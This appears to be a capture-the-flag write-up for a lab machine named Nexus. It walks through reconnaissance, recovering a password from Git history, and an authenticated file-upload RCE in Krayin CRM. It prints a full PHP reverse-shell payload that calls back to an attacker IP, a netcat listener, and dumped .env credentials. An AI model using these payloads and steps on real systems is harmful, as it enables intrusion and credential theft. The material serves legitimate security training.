Executive Summary
This writeup documents the complete exploitation chain for the Nexus target system, from initial reconnaissance through root compromise. The attack leveraged:
- Exposed credentials in Git commit history
- Authenticated RCE via CRM file upload vulnerability (CVE-2026-38526)
- Path traversal in privileged template synchronization service
Phase 1: Reconnaissance
Step 1: Network Scanning
nmap -A -Pn 10.129.21.192 -oA nmap
Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open http nginx 1.24.0 (Ubuntu)
└─ Redirect: http://nexus.htb
Analysis: HTTP redirect to hostname suggests vhosts/subdomains exist
Step 2: Subdomain Enumeration
ffuf -u http://nexus.htb -H "HOST: FUZZ.nexus.htb" \
-w subdomains-top1million-110000.txt -fs 154
Results:
git [Status: 200] ← Gitea instance
billing [Status: 302] ← CRM application
Add to /etc/hosts:
10.129.21.192 nexus.htb git.nexus.htb billing.nexus.htb
Step 3: Web Application Enumeration
nexus.htb (Main Site)
- Corporate landing page
-
Key Finding: Hiring manager email visible:
j.matthew@nexus.htb
git.nexus.htb (Gitea)
Navigate to http://git.nexus.htb/ and click "Explore" button
Result: Lists all public repositories:
- admin/krayin-docker-setup ← This is what we need
- Accessible without authentication
- Contains
.env,docker-compose.yml, and documents
Two options to proceed:
- Manual browse: Click on the repo in Gitea UI, view files and commit history directly
-
Clone locally:
git clone http://git.nexus.htb/admin/krayin-docker-setup(recommended for offline analysis)
billing.nexus.htb (Krayin CRM)
- Login portal visible
- Version: Krayin CRM 2.2.0 (shown after login)
Phase 2: Initial Access
Step 1: Extract Credentials from Git History
Clone the repo and check the logs and commits
git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log --oneline
Output:
9b817fa4e0 Upload files to "/"
1615c465b7 Upload files to "/"
Examine commit details:
git show 9b817fa4e0
CRITICAL FINDING (from diff):
DB_PASSWORD=N27xh!!2ucY04 (← OLD: plaintext password exposed!)
DB_PASSWORD= (← NEW: removed)
Credentials extracted:
- Username:
j.matthew@nexus.htb(from main site) - Password:
N27xh!!2ucY04(from Git history)
Step 2: Krayin CRM Authentication & RCE
Login: http://billing.nexus.htb/admin/login
- Email:
j.matthew@nexus.htb - Password:
N27xh!!2ucY04 - Result: ✓ Successfully authenticated
CRM Version Confirmed: 2.2.0 (visible in dashboard)
Step 3: Exploit CVE-2026-38526 (Authenticated File Upload RCE)
Vulnerability: TinyMCE media upload endpoint lacks file validation
Exploitation Steps:
-
Navigate to Mail section:
- Mail → Inbox → Compose Email
-
Intercept file upload in Burp Suite:
- Proxy → Intercept → ON
- Click image insertion icon in composer
- Select any image to upload
-
Modify the request:
- Filename: Change from
image.png→shell.php - Content: Replace image data with PHP reverse shell
- Maintain multipart form structure
- Filename: Change from
PHP Reverse Shell Payload (using Pentest Monkey): ( Grab it in from revshells.com)
File: shell.php - Replace image data with this exact code:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.15.223'; // CHANGE: Your attacker IP
$port = 4444; // CHANGE: Your listener port
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Forward the modified request in Burp → Click "Forward"
Response reveals file location:
Location: /storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Step 4: Establish Reverse Shell
Attacker: Set up listener:
nc -lvnp 4444
Target: Access the PHP shell
curl http://billing.nexus.htb/storage/tinymce/a307e3a6afdde1b488c02bd682c34f27.php
Result: Reverse shell received as www-data
Step 5: Stabilize Shell (Recommended)
The initial reverse shell is unstable. Use one of these tools to upgrade:
Option A: Using pwncat-cs:
pwncat-cs -lp 4444
Option B: Using penelope:
penelope listen -p 4444
Both tools automatically handle shell stabilization and provide better stability/features than raw netcat.
Phase 3: User Access
Step 1: Enumerate System
From www-data shell:
www-data@nexus:/$ whoami
www-data
www-data@nexus:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@nexus:/$ pwd
/var/www/html/krayin
Step 2: Extract Database Credentials
From Krayin CRM .env file:
www-data@nexus:/var/www/html/krayin$ cat .env
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD
VITE_HOST=
VITE_PORT=
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR ← CRITICAL FINDING!
DB_PREFIX=
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com
MAIL_RECEIVER_DRIVER=sendgrid
IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password
AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"